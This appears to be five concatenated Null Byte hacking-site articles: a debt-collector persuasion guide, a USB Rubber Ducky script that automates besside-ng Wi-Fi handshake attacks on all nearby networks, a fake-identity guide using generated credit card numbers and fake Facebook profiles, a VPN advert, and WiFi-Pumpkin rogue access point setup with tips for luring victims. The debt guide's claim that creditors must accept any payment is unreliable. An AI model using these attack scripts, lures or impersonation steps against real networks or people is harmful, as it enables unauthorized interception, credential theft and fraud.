How to Social Engineer Your Debt Collectors Into Giving You More Time to Pay Bills Β« Null Byte :: WonderHowTo | Having bills to pay is one of the worst parts of life, especially around the holidays. And if you're extremely unlucky, you might also have to pay some hefty medical bills. This can put a heavy damper on plans, wants and needs. What's worse? The people that you owe money to are pushy and always bother you to pay in a more timely fashion, or worse, pay bigger premiums.From the extensive medical bills that I've been paying over the last 6 months (thanks, stomach), I've picked up some cool social engineering techniques that you can use to pay your bills over a longer period of time, or even potentially get the bills removed completely.RequirementsStrong willDecent writing skillsAbility to think on your toes in a conversational emergencyWho Is This For?This is foreveryone. If you live in fear of your name being sent of to bill collectors, ruining your credit forever, you need these techniques.Scenario AIn order to do this, we need to manipulate the companies which we owe money to into giving us a bill extension. Contrary to popular belief, no matter what the company you're indebted to says, you can payanyamount of money toward your bill that you want (unless you signed a contract stating you couldn't). This means if you only pay a little amount, they have to accept the biggest payment that you can give them without refusal. What a great country the U.S. is, isn't it?Send a friendly email to the person your are in debt to, similar to the one I used to my hospital.To whom it may concern,My name is ________, and I have an account (#xxxxx-xxxxxx-xxxxx) open with you that I currently have an outstanding balance for. Unfortunately, I have recently fallen into the ranks of the unemployed and have no regular income. I currently do freelance work to make money to get by. Due to this issue, I will be sending you payments of $15 to $25 on the 20th of every month, which is all that my budget allows. I am determined to square my debt off, and will return to sending higher payments when my income permits.Sincerely,<your name>With this, you havephysicaldocumentation that you are doing your best effort to pay your bills and continue to make monthly payments. This prevents companies from sending your information off to a nasty bill collector, ruining your credit, and receiving obnoxious phone calls for the next thousand years.Scenario BAnother great method is to call the business you are in debt to and give a similar story to the one above. Only this time, ask if they have any sort of payment assistance program. Many hospitals have programs that almost everyone qualifies for, that take care of medical expensesforyou. You won't hear about those though, people don't like to give awayfreemoney.Because of the pushy "I'm going to do this" nature, coupled with hard times, we play on the person's empathy and use forceful, determined tactics to get what we need.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viathefuntimesguideRelatedForget Advil:Cold, Hard Cash Is the Best Pain ReliefSocial Engineering:How to Use Persuasion to Compromise a Human TargetHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHack Like a Pro:The Ultimate Social Engineering HackThe Hacks of Mr. Robot:How to Send a Spoofed SMS Text MessageHow To:Learn the Secrets of PsychologyHow To:Use Social Engineering to Hack ComputersHow To:Use "SET", the Social-Engineer ToolkitListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)News:Star Wars Millenium Falcon Time Lapse Lego BuildXbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringSocial Engineering, Part 1:Scoring a Free Cell PhoneNews:Live Social EngineeringHow To:Proof of Social Engineering Success!How To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Score Free Game Product Keys with Social EngineeringNews:Google social web engineer Joseph Smarr talks about lessons from Google+News:Top 13 Google Insiders to Follow on Google+For Sale:JFK's Crusty, 48-Year-Old Birthday CakeNews:Nextdoor Brings Private Social Networks to a Neighborhood Near YouSocial Engineering:The BasicsHow To:The Social Engineer's Guide to Buying an Expensive LaptopHow To:recognize Crowd Control - Part 1How To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingNews:Understanding Your Estimated Bounce Energy BillWeekend Homework:How to Become a Null Byte Contributor (2/10/2012)News:Pen & PaperHow To:Join the Fight Against SOPA and PIPAHow To:Read Your Inital Bounce Energy BillNews:Understanding Fees & Taxes On Your BillHow To:The Official Google+ Insider's Guide IndexNews:Why the High Bill?!How To:Lower Your Electricity Bill in 10 Easy Steps |
How to Automate Hacking on the Raspberry Pi with the USB Rubber Ducky Β« Null Byte :: WonderHowTo | While theUSB Rubber Duckyis well known by hackers as a tool forquick in-person keystroke injection attacks, one of the original uses for it was automation. In this guide, I'll be going the latter, explaining how we can use it to automate Wi-Fi handshake harvesting on theRaspberry Piwithout using a screen or any other input.I'll explain how to write in Ducky Script, prepare a binary file, inject it, and see the results. Our goal will be to make a payload that starts thebesside-ngprocess to gather wireless handshakes in a screen session, which will allow us to connect to it later via laptop or phone.The Duck for Offense & DefenseThe USB Rubber Ducky can be plugged into nearly any computer to control it as a human interface device (HID) keyboard. This is useful for crafting payloads that remotely execute commands on a subject's computer, allowing you to automate complex tasks into a single payload.It may look like a USB stick, but it's not.Image by SADMIN/Null ByteYou can turn your thirty seconds of access to a target's computer into a persistent backdoor, a ransomware attack, or a custom payload such as scheduling threatening emails to Dick Cheney to be sent from the target's email address each midnight.But the USB Rubber Ducky isn't a completely offensive tool; The same ability to rapidly replay commands can come in use as a method of automating certain pen-testing stages on ourRaspberry Pi running Kali Linux.Don't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running KaliLet the Duck Do the WorkAutomation on the USB Rubber Ducky, of course, depends on the target you're intending to drop the payload on. In this case, we will be using the Ducky to automate processes on our own device, so we'll be targeting Kali Linux running on the Raspberry Pi. Though we'll be using the Ducky for quickly setting up a process rather than attacking, the process for writing the script, encoding it, and loading the payload will be the same as though we were launching an attack.The USB Rubber Ducky's microSD card holder.Image by SADMIN/Null ByteWhen working on our own machine, we have the advantage of iterating and tweaking small aspects of our own machine to work more easily with the Ducky. This can include adding hotkeys to trigger desired actions more easily. For this example, I haven't modified my Kali Linux, so my script should work on any updated Kali distro running on a Raspberry Pi.Debian Duck: Writing Ducky Script for the Kali Linux PlatformWhen automating tasks with a Ducky, access to a terminal window is essential. Some operating systems have a hotkey to open a command prompt or terminal window; Kali doesn't, so we'll have to do a bit of a workaround. Once we have a terminal window open, the process becomes a lot easier as we can drop commands directly into a bash shell.The Raspberry Pi platform is also not as powerful as many desktop or laptop computers, meaning timing can be critical. If the Pi runs too slowly to execute a command properly, it will mangle and derail all the other commands in the sequence. Because of this, care must be taken to ensure there is an appropriate amount of "delay" time to ensure the target device can keep up with all the input we're dropping.The USB Rubber Ducky is easy to configure and swap payloads on.Image by SADMIN/Null ByteTo open a terminal window via the USB Rubber Ducky on a Raspberry Pi running Kali, the following string has proven effective as a beginning sequence to base other automation scripts from.DELAY 5000ALT F2DELAY 3000STRING xfce4-terminalDELAY 100ENTERDELAY 5000This string allows a delay of5 secondsfor the Pi to recognize the device, usesAlt F2to search for applications, andenters xfce4-terminalto select and open a terminal window. Because the window can be delayed in opening, I delayed the next part of the script by 5 seconds to ensure each command is sent properly.Automating Wi-Fi Handshake Capture with Nothing but DucksThe most fundamental "active" Wi-Fi reconnaissance involves scanning an area for in-use wireless networks and capturing long lists of WPA handshakes with besside-ng. This tool allows for mass auditing of local networks to discover ones with weak passwords within a matter of minutes, dramatically speeding up the acquisition of a data connection in an unfriendly environment.This tool can be configured to attack all networks, only some, or a subset of detected networks based on characteristics such as encryption, channel, signal strength, and BSSID. In order to launch this attack, several prerequisite steps need to be performed to prepare the attack wireless card and enable the session to be resumed and controlled from a laptop or phone later.USB Rubber Ducky ready to load.Image by SADMIN/Null ByteIn this example, we will prepare these steps by launching a screen session, putting our attack card into monitor mode, and beginning the attack on nearby networks.Setting a Headless Kali Pi to Attack Wi-Fi HandshakesTo get around the shortcoming of the Raspberry Pi's lack of screen, keeping a payload to launch an attack without other intervention can save you time and allow you to respond to opportunities that don't allow for lengthy setup and configuration. In seconds, you can launch a screen session and begin a besside-ng attack without any human interaction other than inserting the Ducky into the USB port. To do this, you'll need a few things:Raspberry Pi 2,3, orZero Wrunning Kali LinuxUSB Rubber DuckymicroSD card adapterorUSB card readerDucky Encoderandother official USB Rubber Ducky filesSADMIN'sUSB Rubber Ducky Payload Repoan "attack antenna" capable of packet injection and monitor modeGet It on Amazon:Vilros Raspberry Pi Zero W Basic Starter KitStep 1: Download the Required Repos to Encode the DuckTo encode payloads for the USB Rubber Ducky, we need to download the Ducky Encoder and other files for encoding and decoding Ducky binaries. You'll also need theScreenutility, which allows us to disconnect and reconnect later from SSH sessions. This will let us start an attack on a headless Pi, and reconnect to the screen later after logging in via SSH.Don't Miss:How to Set Up Kali Linux on the New $10 Raspberry Pi Zero WYou can get these as well as my Kali Pi payload by opening a terminal window and cloning the repos with:apt-get install screengit clonegithub.com/hak5darren/USB-Rubber-Ducky.gitcd USB-Rubber-Duckygit clonegithub.com/sadmin2001/duckloads.gitThis will create the folder with the encoding and decoding tools and add my binary payload and TXT script file to a folder called "Duckloads." Each script you create will have a TXT component and a BIN injectable binary component. If you forget to save your TXT file, you may find yourself rewriting a script using the binary decoder as a reference, so remember to save them!Step 2: Open the GUI Encoder & Encode a Fresh BinTo encode our payload, we will open theDuckyEncoderGUI.jarfile in theUSB-Rubber-Duckyfolder,which opens a nice friendly GUI menu to encode the Ducky.Input file:Select my script atduckloads/respeo.txtto create a new BIN file. Browse for and selectrespeo.txtas the input file, and you'll be able to see the Ducky Script text appear in the GUI window.Layout file:Be sure to encode the keyboard properly for your Pi's layout, as the default layout is "be" which leads to gibberish being typed.Output file:Should be set toinject.binand should save to the same folder, unless you want to specify another in the output file menu.Now, click "Export bin" to create a binary file for the Ducky to inject.Step 3: Load & Test the ScriptWhile in a lab environment, it's important to adjust your script's timing for the target device's speed or any other quirks that might come up. Working with a Pi Zero and a Pi 3, I wrote plenty of delay into my script to allow a Pi that had just booted up to execute all the provided input even if running slowly.Load the microSD card into an adapter or card reader and attach it to your computer, delete any binary files on the card, and drag the newinject.binto the card. Eject when it's done transferring.Loading up some payloads.Image by SADMIN/Null ByteLoad the microSD card into the Ducky. Boot your Pi, plug into an HDMI screen for feedback, and give the script a test drive. If you notice it hanging or crashing, examine the command that failed and adjust the TXT file to correct the problem. Often, the timing will be too fast for the Pi to catch an "enter" or open a new window, which can lead to the commands being garbled. I've worked to correct this by providing some padding in the timing, but you can adjust it to what works for you.The complete Ducky Script text of my Kali Automation script is as follows:DELAY 5000ALT F2DELAY 3000STRING xfce4-terminalDELAY 100ENTERDELAY 5000STRING screenDELAY 1000ENTERDELAY 1000ENTERDELAY 5000STRING airmon-ng start wlan1DELAY 800ENTERDELAY 800ENTERDELAY 15000STRING besside-ng wlan1monDELAY 800ENTERDELAY 800ENTERDELAY 5000CTRL aSTRING dDELAY 50ENTERβSADMIN/GitHubTiming can be adjusted for the device, but the steps should remain in the same order. The aim of the script is to launch an attack that can be resumed and controlled from another device, so it's critical that we create a screen session before executing our commands.Step 4: Running Through the Attack ChecklistIn order for the automation to succeed, we should have a few things happen when we plug in the USB Rubber Ducky to the Kali Pi.First, we should observe the Ducky connecting and being recognized by the Pi as a keyboard, followed by launching an app search for "xfce4-terminal." With the xfce4-terminal selected, The Pi should open the terminal window and immediately start a screened session. From this session, the Pi throws wlan1 (our attack antenna) into monitor mode viaairmon-ng, which readies the attack antenna for our besside-ng attack.After allowing 15 seconds for the process to complete, the Pi will start besside-ng using our newly renamed "wlan1mon" attack interface and begin the attack on all nearby networks. The final command is to disconnect the screen session so that it can be resumed from a phone or laptop via SSH.Don't Miss:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsStep 5: SSH into the Pi & Reconnect the Attack SessionOnce the script does its thing, you should have a Wi-Fi handshake attack script running in the background. To reconnect, you'll need to connect to the Pi via SSH and resume the screen session. SSH into the Pi and reconnect the session by typing the following in terminal.ssh root@(Pi's IP address)(enter your password)screen -rThis should search for any disconnected screen sessions and automatically resume one if found. If your script was successful, you should see besside-ng in this session busily attacking nearby networks and compiling a list of handshakes to audit. You can let this session run in the background by disconnecting it, which you can do at any time by typingCTRL-Aand thenD.Reconnecting allows you to check on the status of the attack and redirect, correct, narrow, or restart the attack. Occasionally, besside-ng will get stuck ("no child process" or "network is down" error), which can be frustrating and break the automation process. Even if this happens, resuming the screen will allow you to restart the attack with a single keystroke.Remix & Try Your OwnNow that we've explored the foundations of using the USB Rubber Ducky for automation, you can remix and create your own scripts to manage your favorite attacks. The Rubber Ducky can take a lot of work off your hands very quickly ... it's up to you to explore the possibilities!The USB Rubber Ducky is a serious tool to add to your pen-testing kit.Image by SADMIN/Null ByteThanks for reading, and make sure to keep an eye on Null Byte for more hacking tutorials. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:How to Load & Use Keystroke Injection Payloads on the USB Rubber DuckyFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Hacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyHow To:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How To:Steal macOS Files with the USB Rubber DuckyHow To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareNews:Hak5 Just Released the Packet SquirrelHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Catch USB Rubber Duckies on Your Computer with USBRipHow To:Run USB Rubber Ducky Scripts on a Super Inexpensive Digispark BoardHow To:Steal Usernames & Passwords Stored in Firefox on Windows 10 Using a USB Rubber DuckyAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Hack MacOS with Digispark Ducky Script PayloadsHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiRaspberry Pi:Hacking PlatformHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)Buyer's Guide:Top 20 Hacker Holiday Gifts of 2018How To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & More |
How to Make a Fake Identity Β« Null Byte :: WonderHowTo | Inspiration for tutorial: Foxtrot's "How to Trap a Tracker"If you have been following my past tutorials, (and it's fine if you haven't,) you would know how much social engineering and doxing I do. During these moments when we are convincing people that we are a different person, we need information that doesn't exist. This might lead our target to believe we are false, so we need a foolproof fake identity. This includes a name, credit card number, email, height, weight, date of birth, family, and more. In today's tutorial we will be exploring the world of identity and what makes it so important.Step 1: EmailFor a fake identity, not only do we need an email, but we need a bunch of them at our disposal. I introduce to you... (drum roll) the disposable email. These emails are free to use and easy to check at any time. My personal favorite disposable email to use is mailinator. Basically, I can make up any email I wish, as long as it is (anything)@mailinator.com, and then I can check that email's inbox at any time by going tohttp://www.mailinator.comand typing in the name of my email.We can use these emails for signing up for things that we don't want forensic investigators to dig into, like Social media websites. Along with a disposable email we will also need a "legit" email, like gmail. This legit email, is for big corporations like Facebook, that will detect our fake emails. When you are signing up for this email, use your fake name (which we will get to in the next step) and other info from your fake bio as neccecary.Step 2: BioAlong with our email we will need a fake bio. This includes your name and medical information about you. To do this we are going to be using a website calledhttp://www.fakenamegenerator.com/. This website is insanely useful. It gives you a fake name, address, phone number, weight and height, occupation, geolocation, birthday, credit card, and more. To use this generator simply pick your gender and location of the identity and press the red generate button. The following should appear with your information.We won't be using the email, but this is more than enough information to start with. It even gives us a valid credit card number if we need to trick some people furthur. Now in the next step we are going to make a Facebook page to make our identity more realistic. If you need a better understanding of making fake Facebook pages, Foxtrot made a great tutorial called "How to Trap a Tracker" which goes into detail on how to make a Facebook page that is fake.Step 3: FacebookSo for our Facebook page we are going to need a picture of a person. However, the person we are tricking can reverse image lookup this picture so it would be best to go out and take one. For the sake of this tutorial, I am going to find a group picture on google images, and scroll down a @!$# ton.I think I'll use this photo. This way our target will assume that we are one of the people in the photo. Now let's look at the Facebook form.Okeydokey. Here we see we have to put in our full name, email (valid one), password, birthday, and gender. We can obtain most of this info from our fake identity. For me, I would put Wilfredo Kimball for the name, and the rest of the information as follows.Step 4: ConclusionMoral of the story, don't trust anybody whatsoever. Well...just kidding, you can trust some people. However, make sure that they have more than an email to back up their identity, always do research on people, for their safety and for yours as well. Big thanks to Foxtrot for sparking the inspiration for this tutorial and as always any questions are welcome in the comment section! :DWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Become Anonymous & Browse the Internet SafelyHow To:Make Realistic-Looking Fake BloodHow To:Fake fingerprintsApple Pay Cash 101:How to Verify Your Identity with AppleHow To:Recover if you have been a victim of identity theftHow To:Prevent someone from stealing your identityHow To:Keeping Your Hacking Identity SecretHow To:Prevent identity theft and know how thieves workHow To:Keep your identity safe from thievesHow To:15 Million T-Mobile Customers HackedβHere's How to Protect Yourself from Identity TheftHow To:Prove some random trigonometric identitiesNews:Should Google+ Require You to Use Your Real Name?How To:Create a Fake Online Identity for Website Registrations in Just One ClickNews:What we see is Natural ... But also FakeNews:Pariah - Movie Trailer & PosterNews:Admin's Cards, in BoxesNews:Norden Bombsight Official video - Help DeskNews:Jackass Chick styleNews:Fake Criterion CoversTHE FILM LAB:Fake BloodHow To:Fake ConfidenceNews:Fake CakesNews:Fake CriterionsNews:Everything Tastes Like Chicken Except Fake ChickenNews:new weaponsHow To:Securely & Anonymously Spend Money OnlineNews:Snakes in a HotelListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)How To:Remain Anonymous and Chat Securely with CryptocatListen In:Live Social Engineering Phone Calls with Professional Social EngineersNews:The Poisionous SnakeNews:fake amber alertNews:Glass Door PrankHow To:Effectively Disguise Yourself and Keep Your Identity SecretHow To:Get the 'Vamp Eyer' Achievement in Metal Gear Solid 2: Sons of Liberty HDNews:LEGO Tron QuorraNews:Electric SuitNews:Public Bathroom FiascoNews:Bathroom surveillanceNews:FBI Exploited Mental Illness in Latest Fake Terror Case |
Protect Your Browsing with This 10-Year VPN Subscription Β« Null Byte :: WonderHowTo | As useful as VPNs are for securing your browsing experience and bypassing frustrating barriers online, it's hard to find the right one among the horde of choices.VPN.asia: 10-Year Subscriptionis a great choice for a VPN that keeps your browsing safe and smooth, and right now, it's only $79.99.Featured on CNET, Forbes, TNW, PC Mag, and Business Insider, VPN.asia: 10-Year Subscription packs everything you want in a VPN into an intuitive package. With this VPN, you'll be able to keep your browsing totally anonymous, and the 256-bit encryption will keep everything you do comfortably secure. Browsing on hotspots and unsecured Wi-Fi is not a risk with the right VPN, and VPN.asia uses its high-strength encryption to ensure your device is safe wherever you're using it.VPN.asia does not slow down your internet speed and can even let you slip past content restrictions and censorship on sites from all over the world. VPN.asia is easy to use for all devices, including Mac, Windows, iPhone, Android, Android TV, Amazon Fire TV, routers, and more. If you have a device you want to protect, this VPN can do the job.Enjoy the comfort of safety and anonymity with a decade of this top-rated VPN. Get your VPN.asia: 10-Year Subscription now for $79.99,on sale for 92% offfrom its regular price of $1,080.Prices subject to change.Secure This Deal:VPN.asia: 10-Year Subscription for $79.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Browse the Internet Safely for 10 Years with This VPNHow To:Browse Privately & Securely with This VPNHow To:Safeguard Your Data & Privacy with This Speedy VPNHow To:Protect Your Internet Browsing for Life for Less Than $20How To:Make the Best of Your Gaming & Browsing with One DealHow To:Stay Anonymous on Your Nexus 7How To:Protect Your Information on Up to 10 Devices with This Thrifty VPNHow To:VeePN Keeps Your Online Identity Safe & Secure While You Browse the InternetHow To:This Is by Far the Easiest Way to Set Up a Free VPN on Your iPhoneHow To:Safeguard Your iOS Devices with This Premium VPN for Just $40How To:Boost Internet Speeds & Hide Your Browsing History from Your ISPHow To:The Best 'No-Logs' VPN Apps for Safe & Private Mobile BrowsingHow To:Your Phone's Biggest Security Weakness Is Its Data Connection β Here's How to Lock It DownHow To:The Most Comprehensive Way to Protect Yourself OnlineHow To:Protect Your Data on the Go with a Premium Hushed Line & Hola VPN for Only $50How To:Safely Browse the Web with Opera's Free VPNHow To:The Best-Selling VPN Is Now on SaleHow To:Surf the Web Without Restrictions for Free Using Opera's Hidden VPNHow To:This VPN Will Give You a Lifetime of Security for Just $18How To:5 Ways to Keep Google from Collecting Data on Your Android PhoneHow To:For $40, This VPN Will Protect Your Data for LifeHow To:Fix VPN Issues on iPhone to Ensure a More Private Internet ExperienceHow To:Protect Your Privacy with This 2-Part Security BundleHow To:Protect Up to 10 Devices with This All-in-One VPNHow To:Bypass Filters, Firewalls, & Open Hotspot Restrictions on Your Galaxy Note 3How To:Learn Any of Rosetta Stone's 24 Languages with This Incredible App BundleHow To:Get VPN ConnectionHow To:Hide Your IP Address with a Proxy ServerDeal Alert:VPN Unlimited Is Only $39 Right Now for a Lifetime LicenseHow To:Protect Yourself Online While Upping Your Internet Productivity with This VPNMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Chain VPNs for Complete AnonymityInstacast:A Better Way to Listen To & Manage PodcastsNews:Little known secret about TechNet Plus SubscriptionPrivate Browsing:A How-To for Firefox, Chrome & Internet ExplorerNews:3 Unique Alternative Web Browsers for Your iOS DeviceNews:Cooks IllustratedHow To:Use Wireshark to Steal Your Own Local Passwords |
How to Build a Pumpkin Pi β The Rogue AP & MITM Framework That Fits in Your Pocket Β« Null Byte :: WonderHowTo | A man-in-the-middle attack places you between your target and the internet, pretending to be a Wi-Fi network while secretly inspecting every packet that flows through the connection. TheWiFi-Pumpkinis a rogue AP framework to easily create these fake networks, all while forwarding legitimate traffic to and from the unsuspecting target.Today, we'll learn to set up this framework on alow-cost Raspberry Pi running Kali Linux. You may want to look into getting aRaspberry Pi 3 kitorRaspberry Pi 3 B+ kitfor this guide. If you already have one, great, let's go!Man-in-the-Middle Pumpkin PieOn the Raspberry Pi 3 running Kali Rolling, some Kali Linux tools can be broken out into standalone, almost disposable devices. One perfect example is theWiFi-Pumpkin, an attack framework for creating rogue access points to stage man-in-the-middle (MitM) attacks. This allows an attacker to lure victims to their evil access point and begin monitoring internet traffic, effectively seizing control over the flow of data to any connected victims.A rouge device for creating fake Wi-Fi hotspots from a Raspberry Pi.Image by SADMIN/Null ByteWhen to Use the WiFi PumpkinThe WiFi-Pumpkin is a great tool to use when you can bridge an existing Ethernet or Wi-Fi connection, serving internet access to anyone willing to connect to an open network without asking too many questions. It comes stuffed with features, including rogue Wi-Fi access points, deauth attacks on client APs, a probe request and credentials monitor, transparent proxy, Windows update attack, phishing manager, ARP Poisoning, DNS Spoofing, Pumpkin-Proxy, and image capture on the fly.Following up froma previous tutorial, wireless probe frames can reveal networks a phone or laptop is probing for. One way we can use the WiFi-Pumpkin is to monitor probe frames and create a network in response. We can use the WiFi-Pumpkin to conduct a "Karma" attack and create a network with the same SSID that the target device is expecting, or has connected to before.Don't Miss:Log Wi-Fi Probe Requests from Devices with ProbemonThe name of your network will have a significant effect on how people interact with it. If you are in a crowd, creating a network with names like "Starbucks" can cause a startling number of devices to connect to you in under a minute. Be creative in how you trick users into connecting to your evil AP. When you want precision control over the various elements of a man-in-the-middle attack, the WiFi-Pumpkin's easy GUI is straightforward enough for most beginners to grasp.What You'll Need to Get StartedThe setup to create a WiFi-Pumpkin is minimal and requires only a few components. To put this together, you'll need the following.wireless network adapterEthernet cableRaspberry Pi 3or3 B+microSD cardpower sourceUSB keyboard/mouse interfaceSD card adapterlaptop to load files on the SD cardA simple setup for a portable rouge AP, easy to hide or leave behind.Image by SADMIN/Null ByteOn Amazon:CanaKit Raspberry Pi 3 B+ Starter Kit (32 GB EVO+ Edition, Premium Black Case)Installing & Running WiFi-Pumpkin (Kali Linux)As before any new install, ensure that your system is fully updated. WiFi-Pumpkin will require that you have an up-to-date Python installed on your machine.sudo apt-get updateWiFi-Pumpkin has a number of dependencies you will need to have installed before it can run smoothly. Install the following if you don't already have them on your Kali-Pi.Step 1: Install DependenciesPython's package manager, Pip, will help us manage the rest of the installation. To install it on Kali Linux, run the following commands.sudo apt-get install -y python-pipThe next three dependencies will allow WiFi-Pumpkin to verify certificates, add HTTP layer support, and intercept and inspect traffic flows. Install each as shown below.pip install service_identity
pip install scapy_http
sudo apt-get install mitmproxyStep 2: Install WiFi-PumpkinDownload WiFi-Pumpkin by cloning the GitHub repository:git clone https://github.com/P0cL4bs/WiFi-Pumpkin.gitThengo insidethe folder:cd WiFi-PumpkinAndchange the permissionof the installer file:chmod +x installer.shAnd then run the installer by entering the following../installer.sh --installThis may take a little time, during which you can go grab a cookie.Step 3: Run WiFi-PumpkinWhen it's complete, run WiFi-Pumpkin by simply entering the following.sudo wifi-pumpkinYou're ready to get started creating fake APs!The Wi-Fi Pumpkin in action.Image by Sadmin/Null ByteSome Considerations with the WiFi-PumpkinKeep in mind, in order for WiFi-Pumpkin to work, you will need to have access to at least one Kali Linux compatible wireless adapter with AP/Monitor mode support. You will need your Pi to be connected to the internet while also capable of monitoring wireless traffic around you.You can achieve this by using one wireless network adapter and your Pi's internal Wi-Fi card in tandem or a wired Ethernet connection and one wireless network adapter. In the case your particular Pi isn't Wi-Fi capable, you'll need two wireless network adapters. If you are unsure if the wireless adapter you have supports AP/Monitor mode, you can check in terminal withiw list. If there is an "AP" in the list of "Supported interface modes," then your device supports it.If you're in need of a Kali Linux compatible wireless adapter with the appropriate functionality, check out the following linked article. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:Choosing a Wireless Adapter for HackingFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by SADMIN/Null ByteRelatedHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Create an Evil Access Point with MitmAPHow To:Hack WPA WiFi Passwords by Cracking the WPS PINRaspberry Pi:MetasploitHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Make pumpkin pie & pumpkin whoopie pies for ThanksgivingHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Make Pumpkin Spicy SoupHow to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Make pumpkin & pecan piesHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Prepare squash for cookingHow To:Make mini pumpkin piesHow To:Boil or steam a pumpkin for Halloween or ThanksgivingRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallNews:Katie's FarmVille Themed Pumpkin Patch CowHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Carve the Perfect Halloween PumpkinHow To:Carve a Halloween Pumpkin or Jack-O-LanternHow To:Make pumpkin whoopie piesNews:Zombies and Demons Carved Out of 1,818.5 lb PumpkinMinecraft:Pi Edition, Coming Soon to a Raspberry Pi Near YouHorror Photography Challenge:Moldy PumpkinPost Pi Day Coding Project:Let's Uncover the Hidden Words in PiHow To:Carve Polyhedral PumpkinsNews:Happy Pi/Half-Tau Day!News:Rogue CopHow To:Carve Fractals and Stars on 